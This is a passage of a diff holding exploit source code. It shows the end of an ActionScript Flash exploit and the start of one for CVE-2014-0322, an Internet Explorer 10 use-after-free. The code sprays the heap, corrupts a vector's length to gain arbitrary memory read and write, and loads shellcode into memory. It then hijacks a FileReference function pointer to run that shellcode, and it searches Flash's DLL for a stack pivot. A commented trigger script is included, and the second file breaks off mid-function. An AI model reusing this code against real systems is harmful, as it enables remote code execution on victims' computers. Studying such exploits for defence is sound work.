tweaked_vector[3fffffe7] = 41414141
|
||||
tweaked_vector[3fffffe8] = 0
|
||||
tweaked_vector[3fffffe9] = 0
|
||||
tweaked_vector[3fffffea] = 0
|
||||
tweaked_vector[3fffffeb] = 0
|
||||
tweaked_vector[3fffffec] = 0
|
||||
tweaked_vector[3fffffed] = 0
|
||||
tweaked_vector[3fffffee] = 0
|
||||
tweaked_vector[3fffffef] = 0
|
||||
tweaked_vector[3ffffff0] = 0
|
||||
tweaked_vector[3ffffff1] = 0
|
||||
tweaked_vector[3ffffff2] = 0
|
||||
tweaked_vector[3ffffff3] = 0
|
||||
tweaked_vector[3ffffff4] = 0
|
||||
tweaked_vector[3ffffff5] = 0
|
||||
tweaked_vector[3ffffff6] = 0
|
||||
tweaked_vector[3ffffff7] = 0
|
||||
tweaked_vector[3ffffff8] = 0
|
||||
tweaked_vector[3ffffff9] = 0
|
||||
tweaked_vector[3ffffffa] = 0
|
||||
tweaked_vector[3ffffffb] = 0
|
||||
tweaked_vector[3ffffffc] = 0
|
||||
tweaked_vector[3ffffffd] = 0
|
||||
*/
|
||||
while(j < back_offset)
|
||||
{
|
||||
this.tweaked_vector[0x40000000 - back_offset - 2 + j - offset_length] = param1[j];
|
||||
j++;
|
||||
}
|
||||
// tweaked_vector[3fffffff] = 1dea000 // Restores tweaked vector metadata
|
||||
this.tweaked_vector[0x40000000-1] = param1[back_offset + 1];
|
||||
|
||||
|
||||
j = back_offset + 2;
|
||||
|
||||
// Modifies the tweaked vector content, and overflow the next ones, they just remain in good state:
|
||||
/*
|
||||
// tweaked vector content
|
||||
tweaked_vector[0] = 41414141
|
||||
tweaked_vector[1] = 41414141
|
||||
tweaked_vector[2] = 41414141
|
||||
tweaked_vector[3] = 41414141
|
||||
tweaked_vector[4] = 41414141
|
||||
tweaked_vector[5] = 41414141
|
||||
tweaked_vector[6] = 41414141
|
||||
tweaked_vector[7] = 41414141
|
||||
tweaked_vector[8] = 41414141
|
||||
tweaked_vector[9] = 41414141
|
||||
tweaked_vector[a] = 41414141
|
||||
tweaked_vector[b] = 41414141
|
||||
tweaked_vector[c] = 41414141
|
||||
tweaked_vector[d] = 41414141
|
||||
tweaked_vector[e] = 41414141
|
||||
tweaked_vector[f] = 41414141
|
||||
tweaked_vector[10] = 41414141
|
||||
tweaked_vector[11] = 41414141
|
||||
tweaked_vector[12] = 41414141
|
||||
tweaked_vector[13] = 41414141
|
||||
tweaked_vector[14] = 41414141
|
||||
tweaked_vector[15] = 41414141
|
||||
tweaked_vector[16] = 41414141
|
||||
tweaked_vector[17] = 41414141
|
||||
tweaked_vector[18] = 41414141
|
||||
tweaked_vector[19] = 41414141
|
||||
tweaked_vector[1a] = 41414141
|
||||
tweaked_vector[1b] = 41414141
|
||||
tweaked_vector[1c] = 41414141
|
||||
tweaked_vector[1d] = 41414141
|
||||
tweaked_vector[1e] = 41414141
|
||||
tweaked_vector[1f] = 41414141
|
||||
tweaked_vector[20] = 0
|
||||
tweaked_vector[21] = 0
|
||||
tweaked_vector[22] = 0
|
||||
tweaked_vector[23] = 0
|
||||
tweaked_vector[24] = 0
|
||||
tweaked_vector[25] = 0
|
||||
tweaked_vector[26] = 0
|
||||
tweaked_vector[27] = 0
|
||||
tweaked_vector[28] = 0
|
||||
tweaked_vector[29] = 0
|
||||
tweaked_vector[2a] = 0
|
||||
tweaked_vector[2b] = 0
|
||||
tweaked_vector[2c] = 0
|
||||
tweaked_vector[2d] = 0
|
||||
tweaked_vector[2e] = 0
|
||||
tweaked_vector[2f] = 0
|
||||
tweaked_vector[30] = 0
|
||||
tweaked_vector[31] = 0
|
||||
tweaked_vector[32] = 0
|
||||
tweaked_vector[33] = 0
|
||||
tweaked_vector[34] = 0
|
||||
tweaked_vector[35] = 0
|
||||
// next to the tweaked vector
|
||||
tweaked_vector[36] = 36
|
||||
tweaked_vector[37] = 1dea000
|
||||
tweaked_vector[38] = 41414141
|
||||
tweaked_vector[39] = 41414141
|
||||
tweaked_vector[3a] = 41414141
|
||||
tweaked_vector[3b] = 41414141
|
||||
tweaked_vector[3c] = 41414141
|
||||
tweaked_vector[3d] = 41414141
|
||||
tweaked_vector[3e] = 41414141
|
||||
tweaked_vector[3f] = 41414141
|
||||
tweaked_vector[40] = 41414141
|
||||
tweaked_vector[41] = 41414141
|
||||
tweaked_vector[42] = 41414141
|
||||
tweaked_vector[43] = 41414141
|
||||
tweaked_vector[44] = 41414141
|
||||
tweaked_vector[45] = 41414141
|
||||
tweaked_vector[46] = 41414141
|
||||
tweaked_vector[47] = 41414141
|
||||
tweaked_vector[48] = 41414141
|
||||
tweaked_vector[49] = 41414141
|
||||
tweaked_vector[4a] = 41414141
|
||||
tweaked_vector[4b] = 41414141
|
||||
tweaked_vector[4c] = 41414141
|
||||
tweaked_vector[4d] = 41414141
|
||||
tweaked_vector[4e] = 41414141
|
||||
tweaked_vector[4f] = 41414141
|
||||
tweaked_vector[50] = 41414141
|
||||
tweaked_vector[51] = 41414141
|
||||
tweaked_vector[52] = 41414141
|
||||
tweaked_vector[53] = 41414141
|
||||
tweaked_vector[54] = 41414141
|
||||
tweaked_vector[55] = 41414141
|
||||
tweaked_vector[56] = 41414141
|
||||
tweaked_vector[57] = 41414141
|
||||
tweaked_vector[58] = 0
|
||||
tweaked_vector[59] = 0
|
||||
tweaked_vector[5a] = 0
|
||||
tweaked_vector[5b] = 0
|
||||
tweaked_vector[5c] = 0
|
||||
tweaked_vector[5d] = 0
|
||||
tweaked_vector[5e] = 0
|
||||
tweaked_vector[5f] = 0
|
||||
tweaked_vector[60] = 0
|
||||
tweaked_vector[61] = 0
|
||||
tweaked_vector[62] = 0
|
||||
tweaked_vector[63] = 0
|
||||
tweaked_vector[64] = 0
|
||||
tweaked_vector[65] = 0
|
||||
tweaked_vector[66] = 0
|
||||
tweaked_vector[67] = 0
|
||||
tweaked_vector[68] = 0
|
||||
tweaked_vector[69] = 0
|
||||
tweaked_vector[6a] = 0
|
||||
tweaked_vector[6b] = 0
|
||||
tweaked_vector[6c] = 0
|
||||
tweaked_vector[6d] = 0
|
||||
// next -> next to the tweaked vector
|
||||
tweaked_vector[6e] = 36
|
||||
tweaked_vector[6f] = 1dea000
|
||||
tweaked_vector[70] = 41414141
|
||||
tweaked_vector[71] = 41414141
|
||||
tweaked_vector[72] = 41414141
|
||||
tweaked_vector[73] = 41414141
|
||||
tweaked_vector[74] = 41414141
|
||||
tweaked_vector[75] = 41414141
|
||||
tweaked_vector[76] = 41414141
|
||||
tweaked_vector[77] = 41414141
|
||||
tweaked_vector[78] = 41414141
|
||||
tweaked_vector[79] = 41414141
|
||||
tweaked_vector[7a] = 41414141
|
||||
tweaked_vector[7b] = 41414141
|
||||
tweaked_vector[7c] = 41414141
|
||||
tweaked_vector[7d] = 41414141
|
||||
tweaked_vector[7e] = 41414141
|
||||
tweaked_vector[7f] = 41414141
|
||||
tweaked_vector[80] = 41414141
|
||||
tweaked_vector[81] = 41414141
|
||||
tweaked_vector[82] = 41414141
|
||||
tweaked_vector[83] = 41414141
|
||||
tweaked_vector[84] = 41414141
|
||||
tweaked_vector[85] = 41414141
|
||||
tweaked_vector[86] = 41414141
|
||||
tweaked_vector[87] = 41414141
|
||||
tweaked_vector[88] = 41414141
|
||||
tweaked_vector[89] = 41414141
|
||||
tweaked_vector[8a] = 41414141
|
||||
tweaked_vector[8b] = 41414141
|
||||
tweaked_vector[8c] = 41414141
|
||||
tweaked_vector[8d] = 41414141
|
||||
tweaked_vector[8e] = 41414141
|
||||
tweaked_vector[8f] = 41414141
|
||||
tweaked_vector[90] = 0
|
||||
tweaked_vector[91] = 0
|
||||
tweaked_vector[92] = 0
|
||||
tweaked_vector[93] = 0
|
||||
tweaked_vector[94] = 0
|
||||
tweaked_vector[95] = 0
|
||||
tweaked_vector[96] = 0
|
||||
tweaked_vector[97] = 0
|
||||
tweaked_vector[98] = 0
|
||||
tweaked_vector[99] = 0
|
||||
tweaked_vector[9a] = 0
|
||||
tweaked_vector[9b] = 0
|
||||
tweaked_vector[9c] = 0
|
||||
tweaked_vector[9d] = 0
|
||||
tweaked_vector[9e] = 0
|
||||
tweaked_vector[9f] = 0
|
||||
tweaked_vector[a0] = 0
|
||||
tweaked_vector[a1] = 0
|
||||
tweaked_vector[a2] = 0
|
||||
tweaked_vector[a3] = 0
|
||||
tweaked_vector[a4] = 0
|
||||
tweaked_vector[a5] = 0
|
||||
*/
|
||||
while(j < param1.length)
|
||||
{
|
||||
this.tweaked_vector[j - (back_offset + 2) + offset_length] = param1[j];
|
||||
j++;
|
||||
}
|
||||
// next -> next to the tweaked vector
|
||||
// tweaked_vector[a6] = 36
|
||||
// tweaked_vector[a7] = 1dea000
|
||||
this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + offset_length] = param1[back_offset]; // [166] => 36
|
||||
this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + 1 + offset_length] = param1[back_offset + 1]; //[167] => 1dea000
|
||||
}
|
||||
else // From the Timeout trigger; never reached on my tests.
|
||||
{
|
||||
_loc15_ = this.tweaked_vector[4 * (this.len_massage_vector + 2)-1];
|
||||
this.tweaked_vector[0x3fffffff] = _loc15_;
|
||||
this.tweaked_vector[0x3fffffff - this.len_massage_vector - 2] = _loc15_;
|
||||
this.tweaked_vector[0x3fffffff - this.len_massage_vector - 3] = this.len_massage_vector;
|
||||
this.tweaked_vector[this.len_massage_vector + 1] = _loc15_;
|
||||
this.tweaked_vector[2 * (this.len_massage_vector + 2)-1] = _loc15_;
|
||||
this.tweaked_vector[3 * (this.len_massage_vector + 2)-1] = _loc15_;
|
||||
this.tweaked_vector[this.len_massage_vector] = this.len_massage_vector;
|
||||
this.tweaked_vector[2 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector;
|
||||
this.tweaked_vector[3 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector;
|
||||
}
|
||||
|
||||
this.massage_array[corrupted_index].length = 256; // :?
|
||||
|
||||
// Search backwards to find the massage array metadata
|
||||
// It's used to disclose the tweaked vector address
|
||||
i = 0;
|
||||
var hint = 0;
|
||||
while(true)
|
||||
{
|
||||
hint = this.tweaked_vector[0x40000000 - i];
|
||||
if(hint == this.maxElementsPerPage-1) // 0xe00012 - 1
|
||||
{
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
this.tweaked_vector_address = 0;
|
||||
if(this.tweaked_vector[0x40000000 - i - 4] == 0)
|
||||
{
|
||||
throw new Error("error");
|
||||
}
|
||||
else
|
||||
{
|
||||
this.tweaked_vector_address = this.tweaked_vector[0x40000000 - i - 4] + (4 * this.len_massage_vector + 8) + 8 + 4 * offset_length;
|
||||
|
||||
// I have not been able to understand this tweak,
|
||||
// Maybe not necessary at all...
|
||||
i = 0;
|
||||
hint = 0;
|
||||
while(true)
|
||||
{
|
||||
hint = this.tweaked_vector[0x40000000 - i];
|
||||
if(hint == 0x7e3f0004)
|
||||
{
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
this.tweaked_vector[0x40000000 - i + 1] = 4.294967295E9; // -1 / 0xffffffff
|
||||
// End of maybe not necessary tweak
|
||||
|
||||
var file_ref_array = new Array();
|
||||
i = 0;
|
||||
while(i < 64)
|
||||
{
|
||||
file_ref_array[i] = new FileReference();
|
||||
i++;
|
||||
}
|
||||
|
||||
var file_reference_address = this.getFileReferenceLocation(this.tweaked_vector, this.tweaked_vector_address);
|
||||
var ptr_backup = this.getMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32);
|
||||
|
||||
// Get array related data, important to trigger the desired corruption to achieve command execution
|
||||
ninbets = this.getNinbets(this.tweaked_vector,this.tweaked_vector_address);
|
||||
array_with_code = this.createCodeVectors(0x45454545, 0x90909090);
|
||||
address_code = this.getCodeAddress(this.tweaked_vector, this.tweaked_vector_address, 0x45454545);
|
||||
this.fillCodeVectors(array_with_code, address_code);
|
||||
this.tweaked_vector[7] = ninbets[0] + 0;
|
||||
this.tweaked_vector[4] = ninbets[1];
|
||||
this.tweaked_vector[0] = 4096;
|
||||
this.tweaked_vector[1] = address_code & 0xfffff000;
|
||||
// Corruption
|
||||
this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, this.tweaked_vector_address + 8);
|
||||
// Get arbitrary execution
|
||||
i = 0;
|
||||
while(i < 64)
|
||||
{
|
||||
file_ref_array[i].cancel();
|
||||
i++;
|
||||
}
|
||||
this.tweaked_vector[7] = address_code;
|
||||
i = 0;
|
||||
while(i < 64)
|
||||
{
|
||||
file_ref_array[i].cancel();
|
||||
i++;
|
||||
}
|
||||
// Restore Function Pointer
|
||||
this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, ptr_backup);
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// vector: tweaked vector with 0x40000001 length
|
||||
// vector_address: address of tweaked vector
|
||||
// address: address to read
|
||||
function getMemoryAt(vector:Vector.<int>, vector_address:uint, address:uint) : uint {
|
||||
if(address >= vector_address)
|
||||
{
|
||||
return vector[(address - vector_address) / 4];
|
||||
}
|
||||
return vector[0x40000000 - (vector_address - address) / 4];
|
||||
}
|
||||
|
||||
// vector: tweaked vector with 0x40000001 length
|
||||
// vector_address: address of tweaked vector
|
||||
// address: address to write
|
||||
// value: value to write
|
||||
function writeMemoryAt(vector:Vector.<int>, vector_address:uint, address:uint, value:uint) : * {
|
||||
if(address >= vector_address)
|
||||
{
|
||||
vector[(address - vector_address) / 4] = value;
|
||||
}
|
||||
else
|
||||
{
|
||||
vector[0x40000000 - (vector_address - address) / 4] = value;
|
||||
}
|
||||
}
|
||||
|
||||
function getNinbets(vector:*, vector_address:*) : Array {
|
||||
var _loc9_:uint = 0;
|
||||
var array_related_addr:uint = this.getMemoryAt(vector,vector_address,(vector_address & 0xfffff000) + 0x1c);
|
||||
var index_array_related_addr:uint = 0;
|
||||
var _loc5_:uint = 0;
|
||||
var _loc6_:uint = 0;
|
||||
if(array_related_addr >= vector_address)
|
||||
{
|
||||
index_array_related_addr = (array_related_addr - vector_address) / 4;
|
||||
}
|
||||
else
|
||||
{
|
||||
index_array_related_addr = 0x40000000 - (vector_address - array_related_addr) / 4;
|
||||
}
|
||||
var _loc7_:uint = 0;
|
||||
while(true)
|
||||
{
|
||||
index_array_related_addr--;
|
||||
_loc9_ = vector[index_array_related_addr];
|
||||
if(_loc9_ == 0xfff870ff)
|
||||
{
|
||||
_loc7_ = 2;
|
||||
break;
|
||||
}
|
||||
if(_loc9_ == 0xf870ff01)
|
||||
{
|
||||
_loc7_ = 1;
|
||||
break;
|
||||
}
|
||||
if(_loc9_ == 0x70ff016a)
|
||||
{
|
||||
_loc9_ = vector[index_array_related_addr + 1];
|
||||
if(_loc9_ == 0xfc70fff8)
|
||||
{
|
||||
_loc7_ = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(_loc9_ == 0x70fff870)
|
||||
{
|
||||
_loc7_ = 3;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_loc5_ = vector_address + 4 * index_array_related_addr - _loc7_;
|
||||
index_array_related_addr--;
|
||||
var _loc8_:uint = vector[index_array_related_addr];
|
||||
if(_loc8_ == 0x16a0424)
|
||||
{
|
||||
return [_loc5_,_loc6_];
|
||||
}
|
||||
if(_loc8_ == 0x6a042444)
|
||||
{
|
||||
return [_loc5_,_loc6_];
|
||||
}
|
||||
if(_loc8_ == 0x424448b)
|
||||
{
|
||||
return [_loc5_,_loc6_];
|
||||
}
|
||||
if(_loc8_ == 0xff016a04)
|
||||
{
|
||||
return [_loc5_,_loc6_];
|
||||
}
|
||||
|
||||
_loc6_ = _loc5_ - 6;
|
||||
while(true)
|
||||
{
|
||||
index_array_related_addr--;
|
||||
_loc9_ = vector[index_array_related_addr];
|
||||
if(_loc9_ == 0x850ff50)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 1]) == 0x5e0cc483)
|
||||
{
|
||||
_loc7_ = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
_loc9_ = _loc9_ & 0xffffff00;
|
||||
if(_loc9_ == 0x50ff5000)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 1]) == 0xcc48308)
|
||||
{
|
||||
_loc7_ = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
_loc9_ = _loc9_ & 0xffff0000;
|
||||
if(_loc9_ == 0xff500000)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 1]) == 0xc4830850)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 2]) == 0xc35d5e0c)
|
||||
{
|
||||
_loc7_ = 2;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
_loc9_ = _loc9_ & 0xff000000;
|
||||
if(_loc9_ == 0x50000000)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 1]) == 0x830850ff)
|
||||
{
|
||||
if(uint(vector[index_array_related_addr + 2]) == 0x5d5e0cc4)
|
||||
{
|
||||
_loc7_ = 3;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_loc5_ = vector_address + 4 * index_array_related_addr + _loc7_;
|
||||
return [_loc5_,_loc6_];
|
||||
}
|
||||
|
||||
// vector: tweaked vector with 0x40000001 length
|
||||
// address: address of tweaked vector
|
||||
function getFileReferenceLocation(vector:*, address:*) : uint {
|
||||
var flash_address:uint = this.getMemoryAt(vector,address,(address & 0xfffff000) + 28);
|
||||
var _loc4_:uint = 0;
|
||||
while(true)
|
||||
{
|
||||
_loc4_ = this.getMemoryAt(vector,address,flash_address + 8);
|
||||
if(_loc4_ == 0x2a0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
if(_loc4_ < 0x2a0)
|
||||
{
|
||||
flash_address = flash_address + 36;
|
||||
}
|
||||
else
|
||||
{
|
||||
flash_address = flash_address - 36;
|
||||
}
|
||||
}
|
||||
|
||||
var file_ref_related_addr:uint = this.getMemoryAt(vector,address,flash_address + 12);
|
||||
while(this.getMemoryAt(vector,address, file_ref_related_addr + 384) != 0xffffffff)
|
||||
{
|
||||
if(this.getMemoryAt(vector,address, file_ref_related_addr + 380) == 0xffffffff)
|
||||
{
|
||||
break;
|
||||
}
|
||||
file_ref_related_addr = this.getMemoryAt(vector, address, file_ref_related_addr + 8);
|
||||
}
|
||||
return file_ref_related_addr;
|
||||
}
|
||||
|
||||
function getCodeAddress(vector:*, vector_addr:*, mark:*) : uint {
|
||||
var vector_length_read:uint = 0;
|
||||
var vector_code_info_addr:uint = this.getMemoryAt(vector, vector_addr,(vector_addr & 0xfffff000) + 0x1c);
|
||||
while(true)
|
||||
{
|
||||
vector_length_read = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 8);
|
||||
if(vector_length_read == 2032) // code vector length
|
||||
{
|
||||
break;
|
||||
}
|
||||
vector_code_info_addr = vector_code_info_addr + 0x24;
|
||||
}
|
||||
|
||||
var vector_code_contents_addr:uint = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 0xc);
|
||||
while(this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 0x28) != mark)
|
||||
{
|
||||
vector_code_contents_addr = this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 8);
|
||||
}
|
||||
return vector_code_contents_addr + 0x2c; // Code address, starting at nops after the mark
|
||||
}
|
||||
|
||||
// Every vector in the array => 7f0 (header = 8; data => 0x7e8)
|
||||
function createCodeVectors(mark:uint, nops:uint) : * {
|
||||
var array:Array = new Array();
|
||||
var i:* = 0;
|
||||
while(i < 8)
|
||||
{
|
||||
array[i] = new Vector.<uint>(2032 / 4 - 8);
|
||||
array[i][0] = mark;
|
||||
array[i][1] = nops;
|
||||
i++;
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
function fillCodeVectors(param1:Array, param2:uint) : * {
|
||||
var i:uint = 0;
|
||||
var sh:uint=1;
|
||||
|
||||
while(i < param1.length)
|
||||
{
|
||||
for(var u:String in shellcodeObj)
|
||||
{
|
||||
param1[i][sh++] = Number(shellcodeObj[u]);
|
||||
}
|
||||
i++;
|
||||
sh = 1;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// Trigger's ActionScript
|
||||
|
||||
/*
|
||||
|
||||
// Action script...
|
||||
|
||||
// [Action in Frame 1]
|
||||
var b = new flash.display.BitmapData(4, 7);
|
||||
var filt = new flash.filters.DisplacementMapFilter(b, new flash.geom.Point(1, 2), 1, 2, 3, 4);
|
||||
var b2 = new flash.display.BitmapData(256, 512);
|
||||
var filt2 = new flash.filters.DisplacementMapFilter(b2, new flash.geom.Point(1, 2), 1, 2, 3, 4);
|
||||
var colors = [16777215, 16711680, 16776960, 52479];
|
||||
var alphas = [0, 1, 1, 1];
|
||||
var ratios = [0, 63, 126, 255];
|
||||
var ggf = new flash.filters.GradientGlowFilter(0, 45, colors, alphas, ratios, 55, 55, 2.500000, 2, "outer", false);
|
||||
var cmf = new flash.filters.ColorMatrixFilter([]);
|
||||
MyString2.setCMF(cmf);
|
||||
MyString1.setGGF(ggf);
|
||||
flash.filters.ColorMatrixFilter.prototype.resetMe = _global.ASnative(2106, 302);
|
||||
zz = MyString1;
|
||||
flash.display.BitmapData = zz;
|
||||
arr = new Array();
|
||||
var i = 0;
|
||||
while (i < 8192)
|
||||
{
|
||||
arr[i] = new Number(0);
|
||||
++i;
|
||||
} // end while
|
||||
var i = 100;
|
||||
while (i < 8192)
|
||||
{
|
||||
arr[i] = "qwerty";
|
||||
i = i + 8;
|
||||
} // end while
|
||||
k = filt.mapBitmap;
|
||||
zz = MyString2;
|
||||
flash.display.BitmapData = zz;
|
||||
k = filt.mapBitmap;
|
||||
cmf_matrix = cmf.matrix;
|
||||
cmf_matrix[4] = 8192;
|
||||
cmf_matrix[15] = 12.080810;
|
||||
cmf.matrix = cmf_matrix;
|
||||
ggf_colors = ggf.colors;
|
||||
ggf_alphas = ggf.alphas;
|
||||
mem = new Array();
|
||||
var i = 0;
|
||||
while (i < ggf_alphas.length)
|
||||
{
|
||||
ggf_alphas[i] = ggf_alphas[i] * 255;
|
||||
++i;
|
||||
} // end while
|
||||
for (i = 0; i < ggf_colors.length; i++)
|
||||
{
|
||||
mem[i] = ggf_colors[i] + ggf_alphas[i] * 16777216;
|
||||
} // end of for
|
||||
ggf.colors = colors;
|
||||
ggf.alphas = alphas;
|
||||
ggf.ratios = ratios;
|
||||
var lc = new LocalConnection();
|
||||
lc.send("toAS3", "as2loaded", mem);
|
||||
zz = cmf;
|
||||
zz.resetMe("b", 1, 1, 1);
|
||||
|
||||
|
||||
class MyString1 extends String
|
||||
{
|
||||
static var ggf;
|
||||
function MyString(a,b)
|
||||
{
|
||||
super();
|
||||
}
|
||||
|
||||
static function setGGF(myggf)
|
||||
{
|
||||
ggf = myggf;
|
||||
}
|
||||
|
||||
static function getGGF()
|
||||
{
|
||||
return (MyString1.ggf);
|
||||
}
|
||||
}
|
||||
|
||||
class MyString2 extends String
|
||||
{
|
||||
static var cmf;
|
||||
function MyString2(a,b)
|
||||
{
|
||||
super();
|
||||
}
|
||||
|
||||
static function setCMF(mycmf)
|
||||
{
|
||||
cmf = mycmf;
|
||||
}
|
||||
|
||||
static function getCMF()
|
||||
{
|
||||
return (MyString2.cmf);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
*/
|
|
@ -0,0 +1,519 @@
|
|||
/*
|
||||
* MS14-012 Internet Explorer CMarkup Use-After-Free
|
||||
* Vendor Homepage: http://www.microsoft.com
|
||||
* Version: IE 10
|
||||
* Date: 2014-03-31
|
||||
* Exploit Author: Jean-Jamil Khalife
|
||||
* Tested on: Windows 7 SP1 x64 (fr, en)
|
||||
* Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
|
||||
* Home: http://www.hdwsec.fr
|
||||
* Blog : http://www.hdwsec.fr/blog/
|
||||
* MS14-012 / CVE-2014-0322
|
||||
*
|
||||
* Generation:
|
||||
* c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf
|
||||
*
|
||||
*/
|
||||
|
||||
package
|
||||
{
|
||||
import __AS3__.vec.Vector;
|
||||
import flash.display.*;
|
||||
import flash.events.*;
|
||||
import flash.external.*;
|
||||
import flash.media.*;
|
||||
import flash.net.*;
|
||||
import flash.text.*;
|
||||
import flash.utils.*;
|
||||
import Math;
|
||||
import flash.system.Security;
|
||||
import flash.external.ExternalInterface;
|
||||
|
||||
import flash.display.LoaderInfo;
|
||||
|
||||
|
||||
public class AsXploit extends Sprite
|
||||
{
|
||||
public var s:Vector.<Object>;
|
||||
public var spraysound:Vector.<Object>;
|
||||
public var myTimer:Timer;
|
||||
public var sound:Sound;
|
||||
public var shellcodeObj:Array;
|
||||
|
||||
/*
|
||||
* Prepare the heap
|
||||
* Trigger the vulnerability
|
||||
* Exploit :)
|
||||
*/
|
||||
public function AsXploit()
|
||||
{
|
||||
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(",");
|
||||
|
||||
/* Prepare the heap */
|
||||
init_heap();
|
||||
|
||||
/* Trigger the vulnerability */
|
||||
ExternalInterface.call("trigger");
|
||||
|
||||
/* Check every second if the vulnerability has triggered */
|
||||
myTimer = new Timer(1000, 114096);
|
||||
myTimer.addEventListener("timer", timerHandler);
|
||||
myTimer.start();
|
||||
}
|
||||
|
||||
/* Prepare the heap
|
||||
* Spray aligned vector & sound objects
|
||||
*/
|
||||
public function init_heap():void
|
||||
{
|
||||
var len:int = 0;
|
||||
var i:int = 0;
|
||||
|
||||
/* Spray the integer array */
|
||||
this.s = new Vector.<Object>(0x18180);
|
||||
while (len < 0x18180)
|
||||
{
|
||||
this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
|
||||
for (i=0; i < this.s[len].length; i++)
|
||||
{
|
||||
this.s[len][i] = 0x1a1a1a1a;
|
||||
}
|
||||
|
||||
++len;
|
||||
}
|
||||
|
||||
/* Spray sound object ptr */
|
||||
this.sound = new Sound();
|
||||
this.spraysound = new Vector.<Object>(0x100);
|
||||
|
||||
len = 0;
|
||||
while (len < 0x100)
|
||||
{
|
||||
this.spraysound[len] = new Vector.<Object>(0x1234);
|
||||
for (i=0; i < this.spraysound[len].length; i++)
|
||||
{
|
||||
this.spraysound[len][i] = this.sound;
|
||||
}
|
||||
++len;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Read an INT value in memory
|
||||
*/
|
||||
public function readInt(u1:int, u2:int, mod:uint):int
|
||||
{
|
||||
var valres:uint = 0;
|
||||
|
||||
if (mod == 1){
|
||||
valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000;
|
||||
}
|
||||
else if (mod == 2){
|
||||
valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000;
|
||||
}
|
||||
else if (mod == 3){
|
||||
valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100;
|
||||
}
|
||||
else
|
||||
{
|
||||
valres = u1;
|
||||
}
|
||||
|
||||
return valres;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Search a stack pivot dynamically
|
||||
* baseflashaddr_off: flash dll base address offset
|
||||
* index: index of vectors table
|
||||
* offset: offset to get the Stackpivot RVA
|
||||
*/
|
||||
public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint
|
||||
{
|
||||
var sp:uint = 0;
|
||||
var sn:uint = 0;
|
||||
var secname:uint = 0;
|
||||
var sec:uint = 0;
|
||||
var peindex:uint = 0;
|
||||
var virtualSize:uint = 0;
|
||||
var virtualAddr:uint = 0;
|
||||
var i:uint = 0;
|
||||
|
||||
/* Find .text */
|
||||
peindex = this.s[index][baseflashaddr_off+0x3C/4];
|
||||
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;
|
||||
|
||||
/* Find 0xC394 */
|
||||
for (sec=0; sec < sn; sec++)
|
||||
{
|
||||
if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
|
||||
&& this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74)
|
||||
{
|
||||
virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
|
||||
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];
|
||||
|
||||
/* Find a stack pivot */
|
||||
for (i=0; i < virtualSize/4; i++)
|
||||
{
|
||||
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394)
|
||||
{
|
||||
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400)
|
||||
{
|
||||
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000)
|
||||
{
|
||||
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000
|
||||
&& (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3)
|
||||
{
|
||||
sp = virtualAddr + i*4 + 3;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
sp = virtualAddr + i*4 + 2;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
sp = virtualAddr + i*4 + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
sp = virtualAddr + i*4;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
